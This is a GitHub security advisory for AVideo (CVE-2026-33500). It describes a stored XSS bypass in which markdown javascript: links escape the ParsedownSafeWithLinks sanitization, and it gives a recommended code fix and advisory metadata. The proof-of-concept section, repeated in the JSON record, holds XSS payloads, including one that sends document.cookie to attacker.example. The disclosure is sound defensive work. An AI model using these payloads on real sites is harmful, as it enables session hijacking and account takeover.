GHSA-72H5-39R7-R26J
Vulnerability from github – Published: 2026-03-20 20:56 – Updated: 2026-03-25 20:31Summary
The fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom ParsedownSafeWithLinks class that sanitizes raw HTML <a> and <img> tags in comments, but explicitly disables Parsedown's safeMode. This creates a bypass: markdown link syntax [text](javascript:alert(1)) is processed by Parsedown's inlineLink() method, which does not go through the custom sanitizeATag() sanitization (that only handles raw HTML tags). With safeMode disabled, Parsedown's built-in javascript: URI filtering (sanitiseElement()/filterUnsafeUrlInAttribute()) is also inactive. An attacker can inject stored XSS via comment markdown links.
Details
The original fix (commit ade348ed6) enabled setSafeMode(true), which activated Parsedown's built-in URL scheme filtering. This was then replaced by commit f13587c59 with a custom approach that turned safeMode back off:
objects/functionsSecurity.php:442-446 — safeMode disabled:
function markDownToHTML($text) {
$parsedown = new ParsedownSafeWithLinks();
$parsedown->setSafeMode(false); // line 445 — disables Parsedown's built-in javascript: filtering
$parsedown->setMarkupEscaped(false);
$html = $parsedown->text($text);
ParsedownSafeWithLinks (lines 349-440) overrides blockMarkup() and inlineMarkup() to sanitize raw HTML <a> tags via sanitizeATag(), which whitelist-checks the URL scheme:
// sanitizeATag() at line 360 — only allows http(s), mailto, /, #
if (preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $url)) {
$href = ' href="' . htmlspecialchars($url, ENT_QUOTES) . '"';
}
However, this sanitization only runs for raw HTML <a> tags processed through inlineMarkup(). Markdown-syntax links ([text](url)) are handled by Parsedown's core inlineLink() method (vendor/erusev/parsedown/Parsedown.php:1258), which constructs an element array and passes it to element().
vendor/erusev/parsedown/Parsedown.php:1470-1475 — sanitiseElement only runs when safeMode is true:
protected function element(array $Element)
{
if ($this->safeMode) // false — so sanitiseElement() is never called
{
$Element = $this->sanitiseElement($Element);
}
sanitiseElement() would have called filterUnsafeUrlInAttribute() which replaces : with %3A for non-whitelisted schemes like javascript:, but it is never invoked.
Data flow:
1. User posts comment containing [Click here](javascript:alert(document.cookie))
2. xss_esc() applies htmlspecialchars() — no HTML special chars exist in the payload, stored unchanged
3. On retrieval, xss_esc_back() reverses encoding (no-op), then markDownToHTML() converts markdown to <a href="javascript:alert(document.cookie)">Click here</a>
4. Result stored in commentWithLinks (objects/comment.php:420)
5. Rendered directly in DOM via template at view/videoComments_template.php:15: <p>{commentWithLinks}</p>
PoC
- Log in as any user with comment permission
- Navigate to any video page
- Post a comment with the following markdown:
[Click here for more info](javascript:alert(document.cookie))
- The comment is saved and rendered. Any user viewing the video sees "Click here for more info" as a clickable link
- Clicking the link executes
alert(document.cookie)in the victim's browser context
For session hijacking:
[See related video](javascript:fetch('https://attacker.example/steal?c='+document.cookie))
Impact
- Session hijacking: Attacker can steal session cookies of any user (including admins) who clicks the comment link, leading to full account takeover
- Scope change (S:C): The XSS executes in the context of the viewing user's session, crossing the trust boundary from the attacker's low-privilege comment context
- Persistence: The payload is stored in the database and triggers for every user who views the page and clicks the link
- UI:R required: The victim must click the link, which limits the severity vs. auto-executing XSS
Recommended Fix
Override inlineLink() in ParsedownSafeWithLinks to apply URL scheme filtering to markdown-generated links:
class ParsedownSafeWithLinks extends Parsedown
{
// ... existing code ...
protected function inlineLink($Excerpt)
{
$Link = parent::inlineLink($Excerpt);
if ($Link === null) {
return null;
}
$href = $Link['element']['attributes']['href'] ?? '';
// Apply the same whitelist as sanitizeATag: only allow http(s), mailto, relative, anchors
if ($href !== '' && !preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $href)) {
$Link['element']['attributes']['href'] = '';
}
return $Link;
}
}
Alternatively, re-enable safeMode(true) and find a different approach to allow <a> and <img> tags (e.g., post-processing the safe output to re-inject whitelisted tags).
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33500"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T20:56:52Z",
"nvd_published_at": "2026-03-23T17:16:51Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom `ParsedownSafeWithLinks` class that sanitizes raw HTML `\u003ca\u003e` and `\u003cimg\u003e` tags in comments, but explicitly disables Parsedown\u0027s `safeMode`. This creates a bypass: markdown link syntax `[text](javascript:alert(1))` is processed by Parsedown\u0027s `inlineLink()` method, which does not go through the custom `sanitizeATag()` sanitization (that only handles raw HTML tags). With `safeMode` disabled, Parsedown\u0027s built-in `javascript:` URI filtering (`sanitiseElement()`/`filterUnsafeUrlInAttribute()`) is also inactive. An attacker can inject stored XSS via comment markdown links.\n\n## Details\n\nThe original fix (commit `ade348ed6`) enabled `setSafeMode(true)`, which activated Parsedown\u0027s built-in URL scheme filtering. This was then replaced by commit `f13587c59` with a custom approach that turned safeMode back off:\n\n**`objects/functionsSecurity.php:442-446` \u2014 safeMode disabled:**\n```php\nfunction markDownToHTML($text) {\n $parsedown = new ParsedownSafeWithLinks();\n $parsedown-\u003esetSafeMode(false); // line 445 \u2014 disables Parsedown\u0027s built-in javascript: filtering\n $parsedown-\u003esetMarkupEscaped(false);\n $html = $parsedown-\u003etext($text);\n```\n\n**`ParsedownSafeWithLinks` (lines 349-440)** overrides `blockMarkup()` and `inlineMarkup()` to sanitize raw HTML `\u003ca\u003e` tags via `sanitizeATag()`, which whitelist-checks the URL scheme:\n\n```php\n// sanitizeATag() at line 360 \u2014 only allows http(s), mailto, /, #\nif (preg_match(\u0027/^(https?:\\/\\/|mailto:|\\/|#)/i\u0027, $url)) {\n $href = \u0027 href=\"\u0027 . htmlspecialchars($url, ENT_QUOTES) . \u0027\"\u0027;\n}\n```\n\nHowever, this sanitization only runs for **raw HTML** `\u003ca\u003e` tags processed through `inlineMarkup()`. Markdown-syntax links (`[text](url)`) are handled by Parsedown\u0027s core `inlineLink()` method (`vendor/erusev/parsedown/Parsedown.php:1258`), which constructs an element array and passes it to `element()`.\n\n**`vendor/erusev/parsedown/Parsedown.php:1470-1475` \u2014 sanitiseElement only runs when safeMode is true:**\n```php\nprotected function element(array $Element)\n{\n if ($this-\u003esafeMode) // false \u2014 so sanitiseElement() is never called\n {\n $Element = $this-\u003esanitiseElement($Element);\n }\n```\n\n`sanitiseElement()` would have called `filterUnsafeUrlInAttribute()` which replaces `:` with `%3A` for non-whitelisted schemes like `javascript:`, but it is never invoked.\n\n**Data flow:**\n1. User posts comment containing `[Click here](javascript:alert(document.cookie))`\n2. `xss_esc()` applies `htmlspecialchars()` \u2014 no HTML special chars exist in the payload, stored unchanged\n3. On retrieval, `xss_esc_back()` reverses encoding (no-op), then `markDownToHTML()` converts markdown to `\u003ca href=\"javascript:alert(document.cookie)\"\u003eClick here\u003c/a\u003e`\n4. Result stored in `commentWithLinks` (`objects/comment.php:420`)\n5. Rendered directly in DOM via template at `view/videoComments_template.php:15`: `\u003cp\u003e{commentWithLinks}\u003c/p\u003e`\n\n## PoC\n\n1. Log in as any user with comment permission\n2. Navigate to any video page\n3. Post a comment with the following markdown:\n\n```\n[Click here for more info](javascript:alert(document.cookie))\n```\n\n4. The comment is saved and rendered. Any user viewing the video sees \"Click here for more info\" as a clickable link\n5. Clicking the link executes `alert(document.cookie)` in the victim\u0027s browser context\n\nFor session hijacking:\n```\n[See related video](javascript:fetch(\u0027https://attacker.example/steal?c=\u0027+document.cookie))\n```\n\n## Impact\n\n- **Session hijacking:** Attacker can steal session cookies of any user (including admins) who clicks the comment link, leading to full account takeover\n- **Scope change (S:C):** The XSS executes in the context of the viewing user\u0027s session, crossing the trust boundary from the attacker\u0027s low-privilege comment context\n- **Persistence:** The payload is stored in the database and triggers for every user who views the page and clicks the link\n- **UI:R required:** The victim must click the link, which limits the severity vs. auto-executing XSS\n\n## Recommended Fix\n\nOverride `inlineLink()` in `ParsedownSafeWithLinks` to apply URL scheme filtering to markdown-generated links:\n\n```php\nclass ParsedownSafeWithLinks extends Parsedown\n{\n // ... existing code ...\n\n protected function inlineLink($Excerpt)\n {\n $Link = parent::inlineLink($Excerpt);\n\n if ($Link === null) {\n return null;\n }\n\n $href = $Link[\u0027element\u0027][\u0027attributes\u0027][\u0027href\u0027] ?? \u0027\u0027;\n\n // Apply the same whitelist as sanitizeATag: only allow http(s), mailto, relative, anchors\n if ($href !== \u0027\u0027 \u0026\u0026 !preg_match(\u0027/^(https?:\\/\\/|mailto:|\\/|#)/i\u0027, $href)) {\n $Link[\u0027element\u0027][\u0027attributes\u0027][\u0027href\u0027] = \u0027\u0027;\n }\n\n return $Link;\n }\n}\n```\n\nAlternatively, re-enable `safeMode(true)` and find a different approach to allow `\u003ca\u003e` and `\u003cimg\u003e` tags (e.g., post-processing the safe output to re-inject whitelisted tags).",
"id": "GHSA-72h5-39r7-r26j",
"modified": "2026-03-25T20:31:32Z",
"published": "2026-03-20T20:56:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-72h5-39r7-r26j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33500"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/3ae02fa240939dbefc5949d64f05790fd25d728d"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo - Incomplete Fix for CVE-2026-27568: Stored XSS via Markdown `javascript:` URI Bypasses ParsedownSafeWithLinks Sanitization"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.